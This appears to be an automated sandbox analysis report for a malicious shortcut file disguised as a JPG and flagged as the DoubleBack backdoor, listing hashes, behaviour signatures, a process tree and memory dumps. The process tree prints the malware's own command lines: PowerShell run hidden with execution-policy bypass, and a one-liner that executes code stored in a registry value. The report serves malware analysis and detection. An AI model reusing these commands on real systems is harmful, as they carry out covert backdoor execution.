Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    03-06-2022 12:15

General

  • Target

    Scan_660.jpg.lnk

  • Size

    1KB

  • MD5

    29cac9f4a4b2cbc6606c0a7751b8b378

  • SHA1

    1d79526b5e9a77d7c4c1f6b4454a935cbee58706

  • SHA256

    5d95b0022d4c258df18fd392ff033a13d21a9b78279f88fdbc04da53ca5a124d

  • SHA512

    1ec8cd6845af4cfdb49570ca0f6437869f637e96f146bff76f9d1dc12ca667af5edc6c3ce8a75666a3735912ca3f58cc51af78ab3b4cbe50197b347361a3f69d

Score
10/10

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Scan_660.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1127.ps1
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3192
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "&{$v1='4582';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2632

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2632-141-0x0000000000000000-mapping.dmp
  • memory/2632-142-0x00007FFE71AD0000-0x00007FFE72591000-memory.dmp
    Filesize

    10.8MB

  • memory/3192-136-0x00007FFE71AD0000-0x00007FFE72591000-memory.dmp
    Filesize

    10.8MB

  • memory/3192-133-0x000001FA6B929000-0x000001FA6B92F000-memory.dmp
    Filesize

    24KB

  • memory/3192-134-0x00007FFE71AD0000-0x00007FFE72591000-memory.dmp
    Filesize

    10.8MB

  • memory/3192-135-0x000001FA6B929000-0x000001FA6B92F000-memory.dmp
    Filesize

    24KB

  • memory/3192-130-0x0000000000000000-mapping.dmp
  • memory/3192-137-0x000001FA6B929000-0x000001FA6B92F000-memory.dmp
    Filesize

    24KB

  • memory/3192-138-0x000001FA6B900000-0x000001FA6B90A000-memory.dmp
    Filesize

    40KB

  • memory/3192-139-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB

  • memory/3192-132-0x00007FFE71AD0000-0x00007FFE72591000-memory.dmp
    Filesize

    10.8MB

  • memory/3192-131-0x000001FA6B870000-0x000001FA6B892000-memory.dmp
    Filesize

    136KB

  • memory/4392-140-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB

  • memory/4392-143-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB